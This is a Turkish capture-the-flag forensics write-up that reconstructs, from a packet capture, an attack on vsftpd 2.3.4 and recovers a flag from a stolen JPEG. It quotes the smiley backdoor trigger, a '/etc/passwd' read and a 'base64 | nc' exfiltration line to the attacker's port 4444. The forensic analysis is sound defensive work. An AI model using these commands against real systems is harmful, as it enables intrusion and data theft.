NewYear 2026 — exFill Çözüm Yazısı

vsftpd 2.3.4 çalıştıran bir sunucuya yapılan saldırının paket yakalaması. Saldırgan ünlü smiley arka kapısını tetikliyor, root kabuğu alıyor ve bir JPEG'i reverse shell üzerinden base64 olarak dışarı sızdırıyor. Akışı yeniden birleştirin; bayrak çalınan görselin içine resmedilmiş.

3 dk okuma
ibrahimsql
470 kelime

NewYear 2026 — exFill

Gerçek tarzda bir ihlal üzerine kurulu bir ağ adli bilişim sorusu: sömürü, yetki yükseltme, keşif ve ardından veri sızdırma. Tüm hikâyeyi tek bir paket yakalaması anlatıyor.

  • Etkinlik: NewYear 2026
  • Kategori: Adli Bilişim (Forensics)
  • Dosya: capture.pcap.xz → capture.pcap
  • Bayrak formatı: grodno{...}

1. Yakalamada ne var

$ file capture.pcap
capture.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4
              (Linux cooked v1, capture length 65535)

İki ana bilgisayar arasında 3972 paket:

  • Saldırgan: 192.168.56.102
  • Kurban: 192.168.56.103

Portlara göre grupladığınızda bir akış hemen göze çarpıyor:

Text
21/tcp   FTP kontrol (vsFTPd 2.3.4)
6200/tcp vsftpd 2.3.4 "smiley" arka kapı kabuğu
4444/tcp veri taşıyan bir reverse shell
445, 25  SMB ve SMTP denemeleri (arka plan gürültüsü)

2. Smiley arka kapısı

21 numaralı port kendini anlatıyor:

220 (vsFTPd 2.3.4)

2.3.4 sürümü CVE-2011-2523'ü taşır: :) ile biten herhangi bir kullanıcı adı, sunucunun 6200 portunda bir root kabuğu açmasına yol açar. Yakalamada tetikleyici tam karşımızda:

USER 3FVka:)   PASS ssp6

Ve hemen ardından 6200 portunda bir root kabuğu açılıyor:

6200:
uid=0(root) gid=0(root)

3. Root kabuğu ve keşif

6200'deki oturum tam etkileşimli bir kabuk. Yeniden birleştirdiğinizde klasik sömürü sonrası keşfin ardından hedefli bir kopyalamanın geldiğini görüyorsunuz:

Text
id
pwd
cat /etc/passwd
ls /home/msfadmin
cd /home/msfadmin
ls -la
sha256sum f1ag.jpg
base64 f1ag.jpg | nc 192.168.56.102 4444

ls -la çıktısı hedefi doğruluyor:

-rw-r--r-- 1 msfadmin msfadmin  46852 Jan  6 09:45 f1ag.jpg
af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f  f1ag.jpg

Yani amaç 46.852 baytlık bir JPEG ve saldırgan onun base64 kodlamasını doğrudan nc ile 192.168.56.102:4444 adresine boruluyor.

4. Sızdırılan akışı yeniden birleştirmek

4444 üzerindeki TCP, yön başına ve dizi numarasına göre yeniden kurulmalı. Yükü kurban→saldırgan yönü taşıyor:

Python
from scapy.all import rdpcap, IP, TCP, Raw
import base64, re
 
pk = rdpcap("capture.pcap")
streams = {}
for p in pk:
    if IP in p and TCP in p and Raw in p:
        k = (p[IP].src, p[TCP].sport, p[IP].dst, p[TCP].dport)
        streams.setdefault(k, []).append((p[TCP].seq, bytes(p[TCP].payload)))
 
def cat(k):
    return b"".join(b for _, b in sorted(streams.get(k, [])))
 
data = cat(("192.168.56.103", 38553, "192.168.56.102", 4444))
b64 = re.sub(rb"[^A-Za-z0-9+/=]", b"", data)
open("f1ag.jpg", "wb").write(base64.b64decode(b64 + b"=" * (-len(b64) % 4)))

Çözülen yığın JPEG sihirli baytları ff d8 ff db ile başlıyor ve tam 46.852 bayt — kurbanın ls -la çıktısındaki boyutun aynısı. Bütünlük kontrolü de örtüşüyor:

$ shasum -a 256 f1ag.jpg
af811f3e2f6191bed1e625edc18e3ac37e1e165e0fdcbab4cfb9c301bbb5211f  f1ag.jpg

Kurtarılan dosya, kurbanın diskindeki f1ag.jpg ile bayt bayt aynı.

5. Bayrak görselin içinde

JPEG'i açtığınızda bayrak görselin içine metin olarak çizilmiş halde görünüyor:

$ strings -n 6 f1ag.jpg | grep -i grodno
+grodno{it5_was_t00_s1mple_=D}

6. Bayrak

grodno{it5_was_t00_s1mple_=D}

Ders klasik: base64 | nc şifreleme değildir. Aktarımın iki yanından birindeki tek bir tcpdump yakalaması sömürü zincirini ortaya çıkarır ve çalınan dosyayı elinize verir; saldırganın kurban için hesapladığı SHA-256 ise yeniden birleştirdiğiniz sızdırmanın birebir doğru olduğunun kanıtı olur.

---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar